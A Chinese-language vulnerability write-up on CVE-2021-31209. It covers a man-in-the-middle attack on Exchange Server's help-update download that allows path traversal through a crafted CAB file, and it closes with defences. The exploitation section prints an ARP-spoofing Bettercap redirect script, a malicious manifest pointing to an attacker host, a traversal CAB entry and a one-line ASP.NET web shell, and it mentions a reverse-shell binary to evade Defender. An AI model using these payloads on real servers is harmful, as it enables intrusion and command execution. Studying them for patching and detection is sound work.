Exchange Server 中间人劫持 RCE 漏洞分析
字数 1678 2025-08-05 00:15:37

Exchange Server 中间人劫持 RCE 漏洞分析教学文档

漏洞概述

漏洞编号: CVE-2021-31209
漏洞类型: 远程代码执行 (RCE)
影响产品: Microsoft Exchange Server
攻击前提: 需要中间人攻击(MiTM)位置
触发条件: 管理员运行 Update-ExchangeHelpUpdate-ExchangeHelp -Force 命令
漏洞发现者: Steven Seeley (Source Incite)
发现时间: 2020年11月
披露时间: 2021年8月

漏洞背景

该漏洞是在寻找 WebClient.DownloadFile 调用时发现的,目的是发现服务器端请求伪造(SSRF)漏洞。后来发现SharePoint Server也受到类似代码模式的影响。

漏洞分析

漏洞触发流程

  1. 命令执行路径:

    • Update-ExchangeHelpUpdate-ExchangeHelp -Force 命令
    • Microsoft.Exchange.Management.UpdatableHelp.UpdatableExchangeHelpCommand.InternalProcessRecord()
    • HelpUpdater.UpdateHelp()
    • HelpDownloader.DownloadManifest()
  2. 关键注册表项:

    • HKLM\SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp
    • 默认 ManifestUrl 值为 http://go.microsoft.com/fwlink/p/?LinkId=287244
  3. 下载过程:

    • 使用 WebClient.DownloadFileAsync API 下载清单文件
    • 清单文件包含 CabinetUrl 指定要下载的.cab文件
  4. 漏洞点:

    • EmbeddedCabWrapper.ExtractCabFiles 在提取cab文件时不验证文件路径
    • 允许目录遍历,可将任意文件写入任意位置

代码关键点

// 清单URL获取
this.ManifestUrl = registryKey3.GetValue("ManifestUrl", "http://go.microsoft.com/fwlink/p/?LinkId=287244").ToString();

// CAB文件提取
int result = EmbeddedCabWrapper.ExtractCabFiles(
    this.helpUpdater.LocalCabinetPath, 
    this.helpUpdater.LocalCabinetExtractionTargetPath, 
    filter, 
    embedded);

漏洞利用

攻击步骤

  1. 中间人攻击(MiTM):

    • 通过ARP欺骗等方式获取中间人位置
    • 拦截对 http://go.microsoft.com/fwlink/p/?LinkId=287244 的请求
    • 重定向到攻击者控制的恶意清单文件
  2. 恶意清单文件:

    • 包含攻击者控制的 CabinetUrl
    • 设置足够高的修订号(必须大于当前值)
    • 示例:
      <ExchangeHelpInfo>
        <HelpVersions>
          <HelpVersion>
            <Version>15.2.1.1-15.2.999.9</Version>
            <Revision>1337</Revision>
            <CulturesUpdated>en</CulturesUpdated>
            <CabinetUrl>http://attacker-ip/poc.cab</CabinetUrl>
          </HelpVersion>
        </HelpVersions>
      </ExchangeHelpInfo>
      
  3. 恶意CAB文件:

    • 包含目录遍历路径的文件
    • 示例文件结构:
      "poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx"
      
    • 使用makecab创建:
      makecab /d "CabinetName1=poc.cab" /f files.txt
      
  4. Web Shell:

    • 写入ASP.NET web shell到可访问目录
    • 示例内容:
      <%=System.Diagnostics.Process.Start("cmd", Request["c"])%>
      

绕过Windows Defender

由于微软加强了对ASP.NET web shell的检测,可以采用以下方法:

  1. 编译自定义二进制文件执行反向shell
  2. 将二进制文件放到磁盘上执行

完整攻击示例

攻击工具准备

  1. Bettercap配置 (poc.cap):

    set http.proxy.script poc.js
    http.proxy on
    set arp.spoof.targets [target-ip]
    events.stream off
    arp.spoof on
    
  2. Bettercap JS脚本 (poc.js):

    function onLoad() {
        log_info("Exchange Server RCE Vulnerability")
    }
    
    function onRequest(req, res) {
        log_info("(+) triggering mitm");
        var uri = req.Scheme + "://" +req.Hostname + req.Path + "?" + req.Query;
        if (uri === "http://go.microsoft.com/fwlink/p/?LinkId=287244"){
            res.Status = 302;
            res.SetHeader("Location", "http://[attacker-ip]:8000/poc.xml");
        }
    }
    
  3. Python HTTP服务器 (poc.py):

    import sys
    import base64
    import urllib3
    import requests
    from threading import Thread
    from http.server import HTTPServer, SimpleHTTPRequestHandler
    
    class CabRequestHandler(SimpleHTTPRequestHandler):
        def do_GET(self):
            if self.path.endswith("poc.xml"):
                # 返回恶意清单文件
                pass
            elif self.path.endswith("poc.cab"):
                # 返回恶意CAB文件
                pass
    
    if __name__ == '__main__':
        # 启动服务器并等待命令执行
        pass
    

攻击执行流程

  1. 启动Bettercap进行MiTM:

    sudo bettercap -caplet poc.cap
    
  2. 启动Python HTTP服务器:

    python poc.py [target-ip] [attacker-ip] [revision] [command]
    
  3. 等待管理员执行 Update-ExchangeHelp 命令

  4. 通过web shell执行命令:

    https://[target-ip]/aspnet_client/poc.aspx?c=[command]
    

防御措施

  1. 补丁更新:

    • 应用Microsoft官方补丁修复CVE-2021-31209
  2. 网络防护:

    • 实施网络分段,限制Exchange管理接口的访问
    • 部署ARP欺骗检测机制
  3. 权限控制:

    • 限制能够运行Exchange管理命令的用户
    • 监控异常的管理操作
  4. 日志监控:

    • 监控异常的HTTP请求,特别是对Microsoft域名的请求
    • 监控异常的CAB文件下载和提取操作

参考链接

  1. 原始漏洞分析文章
  2. ZDI公告1
  3. ZDI公告2
Exchange Server 中间人劫持 RCE 漏洞分析教学文档 漏洞概述 漏洞编号 : CVE-2021-31209 漏洞类型 : 远程代码执行 (RCE) 影响产品 : Microsoft Exchange Server 攻击前提 : 需要中间人攻击(MiTM)位置 触发条件 : 管理员运行 Update-ExchangeHelp 或 Update-ExchangeHelp -Force 命令 漏洞发现者 : Steven Seeley (Source Incite) 发现时间 : 2020年11月 披露时间 : 2021年8月 漏洞背景 该漏洞是在寻找 WebClient.DownloadFile 调用时发现的,目的是发现服务器端请求伪造(SSRF)漏洞。后来发现SharePoint Server也受到类似代码模式的影响。 漏洞分析 漏洞触发流程 命令执行路径 : Update-ExchangeHelp 或 Update-ExchangeHelp -Force 命令 → Microsoft.Exchange.Management.UpdatableHelp.UpdatableExchangeHelpCommand.InternalProcessRecord() → HelpUpdater.UpdateHelp() → HelpDownloader.DownloadManifest() 关键注册表项 : HKLM\SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp 默认 ManifestUrl 值为 http://go.microsoft.com/fwlink/p/?LinkId=287244 下载过程 : 使用 WebClient.DownloadFileAsync API 下载清单文件 清单文件包含 CabinetUrl 指定要下载的.cab文件 漏洞点 : EmbeddedCabWrapper.ExtractCabFiles 在提取cab文件时不验证文件路径 允许目录遍历,可将任意文件写入任意位置 代码关键点 漏洞利用 攻击步骤 中间人攻击(MiTM) : 通过ARP欺骗等方式获取中间人位置 拦截对 http://go.microsoft.com/fwlink/p/?LinkId=287244 的请求 重定向到攻击者控制的恶意清单文件 恶意清单文件 : 包含攻击者控制的 CabinetUrl 设置足够高的修订号(必须大于当前值) 示例: 恶意CAB文件 : 包含目录遍历路径的文件 示例文件结构: 使用makecab创建: Web Shell : 写入ASP.NET web shell到可访问目录 示例内容: 绕过Windows Defender 由于微软加强了对ASP.NET web shell的检测,可以采用以下方法: 编译自定义二进制文件执行反向shell 将二进制文件放到磁盘上执行 完整攻击示例 攻击工具准备 Bettercap配置 ( poc.cap ): Bettercap JS脚本 ( poc.js ): Python HTTP服务器 ( poc.py ): 攻击执行流程 启动Bettercap进行MiTM: 启动Python HTTP服务器: 等待管理员执行 Update-ExchangeHelp 命令 通过web shell执行命令: 防御措施 补丁更新 : 应用Microsoft官方补丁修复CVE-2021-31209 网络防护 : 实施网络分段,限制Exchange管理接口的访问 部署ARP欺骗检测机制 权限控制 : 限制能够运行Exchange管理命令的用户 监控异常的管理操作 日志监控 : 监控异常的HTTP请求,特别是对Microsoft域名的请求 监控异常的CAB文件下载和提取操作 参考链接 原始漏洞分析文章 ZDI公告1 ZDI公告2